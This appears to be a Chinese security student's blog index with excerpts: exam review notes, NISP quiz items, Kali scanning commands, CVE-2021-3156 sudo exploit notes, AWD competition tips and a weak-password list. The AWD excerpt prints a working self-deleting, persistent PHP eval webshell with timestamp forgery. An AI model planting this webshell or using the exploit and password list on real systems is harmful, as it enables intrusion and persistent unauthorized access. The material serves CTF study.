最新文章大数据复习
简答题:
1.Hadoop安装步骤。
2.列举大数据在各个领域的应用。
金融：大数据可以用于风险评估、欺诈检测、客户推荐等。医疗：大数据可以用于疾病预测、药物开发、健康监测等。零售：大数据可以用于销售预测、客户购买行为分析、价格优化等。制造业：大数据可以用于生产过程监测、质量控制、资源优化等。教育：大数据可以用于学习分析、教学内容优化、学习成绩预测等。
3.Hadoop体系结构的Hbase与其他组件的关系。
Hadoop是一个大数据处理框架，它包含若干个组件，其中HBase是一个开源的分布式数据库，主要用于存储和管理海量的结构化和非结构化的数据。HBase是Hadoop体系结构的一个组件，主要用于存储和管理海量的结构化和非结构化的数据。它可以通过HDFS来存储数据，并使用Hadoop MapReduce来进行数据处理。
4.Hbase与传统数据库的区别。
架构不同：HBase采用分布式架构，可以横向扩展，而传统数据库通常采用单机或主从架构，难以横向扩展。存储类型不同：HBase采用列存储模型，可以存储海量的结构化和非结构化的数据，而传统数据库通常采用行存储模型，只能存储结构化的数据。数 ...
人工智能复习
人工智能理论课复习资料
题型 选择1X10 填空1X10 判断1X10 简答 6X5 大题 10X3
综述题10X1
第一章
1.1956年正式提出人工智能这个术语。
2.人工智能的定义：人工智能是一门研究如何构造智能机器（智能计算机）或智能系统，使它能模拟、延伸、扩展人类智能的学科。
3.人工智能研究的基本内容：
知识表示
机器感知
机器思维
机器学习
4.人工智能的主要研究领域：
自动定理证明
博弈
模式识别
机器视觉
自然语言理解
智能信息检索
数据挖掘与知识发现
专家系统（4-5个即可）
6.（可能简答）什么是人工智能？它有哪些特点？
人工智能是一门研究如何构造智能机器（智能计算机）或智能系统，使它能模拟、延伸、扩展人类智能的学科。
特点：具有感知能力
具有记忆与思维能力
具有学习能力
具有行为能力
第二章（出大题 综合题）
1知识表示的方法
（1）一阶谓词逻辑表示法
（2）产生式表示法
（3）框架表示法
（4）语义网络表示法
（5）状态空间表示法
2.一阶谓词逻辑表示法（重点看 课本25页）
3.一阶谓词逻辑知识表示方法的一般步骤（掌握）课本32页例2.1
（1）定义谓 ...
IPV6安全
IPv6安全机制论述
目 录
1 IPv6安全隐患.. 1
1.1 IPv6安全技术简介… 1
1.1.1 IPv6安全技术的历史背景… 1
1.1.2 IPv6安全技术的特点… 1
1.2 IPv6安全隐患… 2
1.2.1 IPv4向IPv6过渡技术的隐患… 2
1.2.2 IPv6中组播技术缺陷的隐患… 3
1.2.3 邻居发现协议的隐患… 3
1.2.4 邻居发现协议的隐患… 3
2 方法措施.. 5
2.1 应对IPv6安全隐患的措施… 5
2.1.1 加大防护技术的研究投入… 5
2.1.2 加快信息安全产品研制。… 5
3 技术实现.. 6
3.1 IPv6认证… 6
3.1.1 IPv6身份认证的实现… 6
3.1.2 层次移动IP接入认证设计… 6
3.2 IPv6加密技术过程… 8
3.2.1 IPv6加密分析… 8
3.2.2 IPv6验证与加密的结合分析… 8
4 结论与展望.. 10
1 IPv6安全隐患1.1 IPv6安全技术简介1.1.1 IPv6安全技术的历史背景
以IPv4为核心技术的Intern ...
复活吧！我的Blog
因为各种事情加上密钥丢失，导致停更最近无事，翻新了一下一切随缘
NISP一级题库
与计算机硬件关系最密切的软件是（ ）。
A、编译程序
B、数据库管理程序
C、游戏程序
D、OS
答案：D
系统的主要功能有（ ）。
A、进程管理、存储器管理、设备管理、处理机管理
B、虚拟存储管理、处理机管理、进程调度、文件系统
C、处理机管理、存储器管理、设备管理、文件系统
D、进程管理、中断管理、设备管理、文件系统
答案：C
按照应用领域对操作系统进行划分，不包含以下哪一种（ ）。
A、桌面操作系统
B、批处理操作系统
C、服务器操作系统
D、嵌入式操作系统
答案：B
用户在设置口令时，以下原则哪个是错误的（ ）。
A、严禁使用与账号相同或相似的口令
B、不要使用与个人有关的信息作为口令内容
C、不要设置短于6个字符或仅包含字母或数字的口令
D、可以使用空口令
答案：D
身份鉴别是安全服务中的重要一环，以下关于身份鉴别叙述不正确的是（ ）。
A、身份鉴别是授权控制的基础和
B、身份鉴别一般不提供双向的认证
C、目前一般采用基于对称秘钥加密或公开密钥加密的方法
D、数字签名机制是实现身份鉴别的重要机制
答案：B
下列关于CA的说法错误的是（ ）。
A、CA是 ...
kali主机探测
ping：
ping -c 5 s 2000 192.168.1.3 发送五个大小为2000字节的数据包（ICMP echo请求）
arping -c 5 192.168.1.3 只能本地局域网内运行，无法跨路由器和网关，用于测试是否在线
fping用于同时向多个主机发送ping请求，通过监视目标主机的回复来判断是否可用
fping将尝试向每个目标发送三个ICMP echo包，如果目标不响应则判断为不可达
nbtscan可用于通过扫描ip地址获取目标netbios名字信息的工具，生成包含主机ip，netbios计算机名，可用服务，登录用户名和mac地址的报告
-hv查看运行服务
系统识别：
p0f：
p0f -o /root/p0f.log 把登录信息保存在root/p0f.log下
xprobe2是一个主动的系统识别工具，通过模糊签名匹配，可能性猜测，签名数据库来识别操作系统，终端下输入xprobe2探测目标主机操作系统类型
CVE-2021-3156 sudo提权漏洞
开源poc：https://github.com/blasty/CVE-2021-3156.git
影响版本：
1 2
Sudo 1.8.2 – 1.8.31p2 Sudo 1.9.0 – 1.9.5p1
不受影响版本：
1
sudo =>1.9.5p2
可用 sudo –version查看版本
判断方式：sudoedit -s / sudoedit开头报错表示存在CVE-2021-3156漏洞
下载解压
查看可用版本
根据自己靶机系统运行
获得sudo权限
第一次AWD
1.迅速使用winscp下载全部站，常见的路径为/var/www/、/app
使用d盾扫描，看一下哪个手快的大佬先行getshell
或者查看最近修改的文件
白嫖大佬在各个靶机里的木马，连接上找flag
2查看当前cms的版本，搜索相关漏洞
3不死马：
12345678910<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__); $file = 'fla2.php';$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; while (1){ <br> file_put_contents($file,$code); system('touch -m -d "2018-12-01 ...
弱口令Top100
123456
a123456a123456.123456a123456a.123456abc123456abc.abc123456abc123456.woaini1314woaini1314.qq123456qq123456.woaini520woaini520.woaini123woaini123.woaini521woaini521.qazwsxqazwsx.1qaz2wsx1qaz2wsx.1q2w3e4r1q2w3e4r.1q2w3e4r5t1q2w3e4r5t.1q2w3e1q2w3e.qwertyuiopqwertyuiop.zxcvbnmzxcvbnm.123456a123456123456a5201314111111woaini1314qq1234561231230000001qaz2wsx1q2w3e4rqwe1237758521123qwea123123123456aawoaini520woaini1002001314520woaini123123321q123456123456789123456789a5211314asd123a123456789z1234 ...
BurpSuite+Clash
Burpsuite上层代理功能：
Project Opitons选项下的Connections子选项，勾选Upstream Proxy Server这个板块
“Add”添加代理，这里Destination host是要指定使用代理ip的主机，输入*代表对所有主机使用代理
Proxy host是代理ip，这里我是以clash举例子，所以我写clash的本地IP，如果是其他的HTTP代理ip，就直接填写到这里，
Proxy port就是端口，clash的本地端口是7890,所以我这里写7890，其他HTTP代理ip的端口是啥，就写啥，最后一个选项，选择无就好，点击OK
